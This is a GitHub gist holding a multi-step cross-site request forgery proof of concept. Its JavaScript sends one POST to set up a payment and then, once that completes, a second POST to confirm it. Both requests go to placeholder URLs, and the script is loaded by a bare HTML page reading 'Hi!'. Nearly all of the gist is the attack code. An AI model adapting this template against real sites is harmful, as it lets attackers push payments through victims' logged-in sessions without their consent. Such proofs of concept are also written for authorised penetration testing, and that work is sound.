Skip to content

Instantly share code, notes, and snippets.

@hoodoer
Created December 10, 2019 09:19
Show Gist options
  • Save hoodoer/0b29ed9a51aa3401b8fb176df830e40a to your computer and use it in GitHub Desktop.
Save hoodoer/0b29ed9a51aa3401b8fb176df830e40a to your computer and use it in GitHub Desktop.
XHR Based multi-step CSRF. CORS policy can block this
function start()
{
alert("Start?");
}
function sendRequests()
{
// Setup the payment
var uri = "https://SOMEURL.com";
var xhr = new XMLHttpRequest();
xhr.open('POST', uri);
var body = "";
body += "t"; // Can change the date here
xhr.send(body);
// Ok, wait for that to come back, then we'll send the confirmation\
xhr.onreadystatechange = function()
{
if (xhr.readyState == XMLHttpRequest.DONE)
{
console.log("Onto phase 2...");
var secondUri = "https://SOMEOTHERURL.com";
xhr2 = new XMLHttpRequest();
xhr2.open('POST', secondUri);
var body2 = "";
xhr2.send(body2);
console.log("Should have confirmed the payment now...");
}
}
}
start();
sendRequests();
<html>
<body>
<script src="./csrfPoc.js"></script>
Hi!
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment